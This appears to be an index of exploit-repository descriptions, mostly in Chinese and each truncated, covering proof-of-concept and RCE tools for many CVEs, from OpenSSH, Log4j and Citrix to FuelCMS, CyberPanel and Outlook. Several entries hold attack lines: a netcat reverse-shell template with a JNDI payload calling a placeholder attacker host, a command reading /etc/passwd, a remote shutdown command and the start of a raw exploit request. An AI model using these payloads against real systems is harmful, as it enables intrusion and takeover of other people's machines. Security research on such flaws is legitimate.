cve-2024-6387_AImade

CVE-2024-6387 测试代码介绍 简介 本文档介绍了一个用于测试 OpenSSH 中 CVE-2024-6387 漏洞的 Python 脚本。该漏洞是 SIGALRM 信号处理器中的竞态条件，可能在基于 glibc 的 Linux 系统上允许远程代码执行（RCE）。此脚本由人工智能生成，仅供教育和安全研究目的使用。 CVE-2024-6387 描述 标识符 : CVE-2024-6387 描述 : OpenSSH 中因 2020 年 10 月的代码更改而重新引入的竞态条件，允许攻击者在 SIGALRM 处理器中调用非异步信号安全函数。 影响 : 在易受攻击的系统上以 root...

CVE-2021-22204

ExifTool 远程代码执行漏洞 这应该算是CVE-2021-22204的分析文章，但更多像是我的草稿本，写满了很多杂乱无章的东西，对于漏洞分析文章而言显得有些废话了，但却让我学到很多。 说实话，我从未使用过这款工具，也几乎没有接触过Perl这门语言，导致我在分析，乃至复现的过程中心中满是问号。在开始分析之前，先看看网上已公开的poc，以及我心中的疑问。 POC - convisolabs 看到的一篇文章是1，其对漏洞产生的原因进行了简短介绍，但是由于我看不懂Perl代码，很多地方不清楚。其复现过程如下： 下载12.23版本的exiftool wget...

CVE-2018-16763-FuelCMS-1.4.1-RCE

CVE-2018-16763 - FuelCMS = 1.4.1 RCE 用于在 FuelCMS = 1.4.1 上触发 CVE-2018-16763 RCE 的漏洞利用程序及交互式 shell。 功能特性 使用 CVE-2018-16763 在 FuelCMS 中自动上传 php webshell API。 通过带有 ?action=exec 的 API 执行系统命令。 使用 ?action=download 将远程系统中的文件下载到你的攻击机。 使用方法 环境要求 ：无需任何条件，此漏洞利用无需身份验证。 步骤 1：上传 webshell 插件 首先，你需要启动交互式...

vuln-chm-hijack

PuTTY 漏洞 vuln-chm-hijack 通过 CHM 劫持实现潜在的恶意代码执行 关于 在 0.70 及更早版本中，当你在任何 Windows PuTTY GUI 工具中启动在线帮助时，该工具会通过在其可执行文件所在目录中查找帮助文件。 如果你从一个无关代码可以放置文件的目录中运行 PuTTY（例如，直接从浏览器的默认下载目录运行），这意味着如果有人设法将一个名为 putty.chm 的文件放入该目录（例如，诱使你点击同名的下载链接），那么 PuTTY 会认为它是真正的帮助文件，并将其提供给 htmlhelp.exe。 这是一个漏洞，因为 HTML...

-CVE-2018-0834-aab-aar

致谢 @reubensammut，你是个狠人，兄弟。CVE-2018-0834 完整代码执行。包含静态偏移量，绕过 cfg、dep、aslr : 享用。...

CVE-2024-51567

CVE-2024-51567 漏洞利用脚本 CVE-2024-51567 是一个针对 CVE-2024-51567 的 Python 概念验证 PoC 漏洞利用脚本，该漏洞是影响 CyberPanel v2.3.6 的一个关键命令注入漏洞。该漏洞位于 upgrademysqlstatus 端点，通过绕过 CSRF 保护并在特定参数中使用 shell 元字符，可实现远程命令执行 RCE。 ⚠️ 重要免责声明...

cve-2021-20837-poc

cve-2021-20837-poc CVE-2021-20837 的 PoC：MovableType 中的 RCE 此漏洞由 The.Criminal.One 合作发现。 该 PoC 由其开发。 BLOG POST: https://nemesis.sh/posts/movable-type-0day/...

CVE-2023-6634

CVE-2023-6634 漏洞利用脚本 描述 本仓库包含一个 Python 脚本，用于利用 WordPress 的 LearnPress 插件（版本 4.2.5.7 及以下）中存在的 CVE-2023-6634 漏洞。该漏洞由于 loadcontentviaajax 函数中的输入验证不当，导致远程代码执行（RCE）。 免责声明 本工具仅用于教育目的及授权的渗透测试。未经明确许可使用该工具攻击系统是非法且不道德的行为。下载或使用本工具即表示您同意以负责任且合乎道德的方式使用它。 安装 除系统需安装 Python 3 及 requests 库外，无需额外安装。您可以使用以下命令安装所需的...

Log4j-RCE-Scanner

特性 • 要求 • 安装 • 使用 • 联系 Log4j 远程命令执行扫描器 使用此工具，您可以扫描多个地址上的 Apache Log4j 远程命令执行漏洞 CVE-2021-44228。 受影响版本 如果要使用域名进行扫描，还必须额外安装 subfinder、assetfinder 和 amass。 安装 1. git clone https://github.com/adilsoybali/Log4j-RCE-Scanner.git 2. cd Log4j-RCE-Scanner 3. chmod +x log4j-rce-scanner.sh 使用...

CVE-2019-19781

CVE-2019-19781 Citrix Application Delivery Controller 和 Citrix Gateway 的远程代码执行漏洞利用 CVE-2019-19781 用法：bash CVE-2019-19781.sh IPOFVULNURABLEHOST COMMANDTOEXECUTE 例如：bash CVE-2019-19781.sh XX.XX.XX.XX 'cat /etc/passwd'...

R2C-CVE-2025-55182-66478

🔥React2Shell 工具包-CVE-2025-55182 & CVE-2025-66478 🚨 React Server Components 与 Next.js 中的严重 RCE 漏洞 🚨 适用于 CVE-2025-55182 检测与利用的专业红队工具包 🔍 功能 • ⚡ 快速开始 • 📚 文档 • 🤝 联系方式 🎯 关于 CVE-2025-55182 与 CVE-2025-66478 🐛 什么是 React2Shell？ React2Shell 是一个影响 React Server Components RSC 和 Next.js 应用程序的严重未认证远程代码执行 RCE 漏洞...

CVE-2022-22947-POC

Spring-Cloud-Gateway-CVE-2022-22947 Spring Cloud Gateway远程代码执行漏洞的安全公告。该漏洞为当Spring Cloud Gateway启用和暴露 Gateway Actuator 端点时，使用 Spring Cloud Gateway 的应用程序可受到代码注入攻击。攻击者可以发送特制的恶意请求，从而远程执行任意代码。 【受影响版本】 Spring Cloud Gateway = 3.1.1 Spring Cloud Gateway = 3.0.7 Spring Cloud Gateway 是基于 Spring Framework 和...

CVE-2019-12725-Command-Injection

POC CVE-2019-12725-Remote-Command-Execution ZeroShell 3.9.0 远程命令注入 Zeroshell 3.9.0 存在远程命令执行漏洞。具体来说，此问题是由于 Web 应用在处理某些 HTTP 参数时出现错误。未认证的攻击者可以通过在易受攻击的参数中注入操作系统命令来利用此漏洞。 漏洞利用说明 命令： $ sudo python ZeroShellRCE.py -u 参考资料： https://www.exploit-db.com/exploits/49862...

NGINX_RIFT_SCAN_CVE_2026_42945

NGINX Rift Config Scanner Language: 中文 | English This is a lightweight scanner for checking whether an NGINX configuration contains risky CVE-2026-42945, also known as NGINX Rift, and CVE-2026-9256 configuration patterns. The issue was disclosed by depthfirst in NGINX Rift: Achieving NGINX RCE vi...

cve-2017-0143

利用CVE-2017-0143 - EternalBlue漏洞 📌 描述 该项目演示了如何在受控环境中利用CVE-2017-0143漏洞（EternalBlue），用于教育和渗透测试目的。攻击是在Windows 7系统上使用Metasploit框架执行的。 🔍 关于CVE-2017-0143 CVE-2017-0143是Windows系统中SMBv1协议的一个严重漏洞。它允许远程攻击者通过特制数据包执行任意代码，导致远程代码执行（RCE）。该漏洞是2017年Shadow Brokers泄露的EternalBlue利用工具的一部分。 类型：远程代码执行 受影响系统：Windows...

CVE-2023-30459

CVE-2023-30459 SmartPTT SCADA 1.1.0.0 允许远程代码执行（当攻击者具有管理员权限时），通过编写恶意C脚本并在服务器上执行（默认通过管理员控制面板的服务器设置，端口8101）。 使用方法： python CVE-2023-30459.py -t 127.0.0.1 -p elcomplus -cmd "shutdown /s /t 30" PoC：...

CVE-2025-49113

CVE-2025-49113 – PoC de Ejecución Remota de Código RCE en Roundcube Este repositorio contiene un exploit Proof-of-Concept PoC para CVE-2025-49113 , una vulnerabilidad crítica de ejecución remota de código en versiones de Roundcube Webmail anteriores a 1.5.10 y 1.6.11. La vulnerabilidad surge de u...

log4jshell_CVE-2021-44228

log4jshellCVE-2021-44228 Log4jshell - CVE-2021-44228 Netcat nc Public IP Port -e /bin/sh 转换为Base64 bmMgMy4xMD.....wMyA4ODg4IC1lIC9iaW4vc2g= Payload curl Target Website -H "X-Forwarded-Host: $jndi:ldap://ReverseshellIP:Port/Basic/Command/Base64/Payload in base64 概念验证 Log4j 概念验证 关注 Youtube Twitter...

CVE-2019-5475-Nexus-Repository-Manager-

CVE-2019-5475-Nexus-Repository-Manager- Payload PUT /nexus/service/siesta/capabilities/xxxxxxxxx HTTP/1.1 Host: xxxx.xxxx.com User-Agent: Accept: application/json,application/vnd.siesta-error-v1+json,application/vnd.siesta-validation-errors-v1+json Accept-Language:...

CVE-2024-21413-Microsoft-Outlook-Remote-Code-Execution-Vulnerability

CVE-2024-21413 | Microsoft Outlook 远程代码执行漏洞 PoC 📜 描述 此脚本提供了CVE-2024-21413的概念验证（PoC），这是Microsoft Outlook中发现的一个严重安全漏洞，CVSS评分为9.8。该漏洞被称为MonikerLink漏洞，具有深远的影响，包括可能泄露本地NTLM信息以及远程代码执行的可能性。此外，它强调了一种可能绕过Office受保护视图的攻击向量，从而将其威胁范围扩展至其他Office应用程序。 🚀 用法...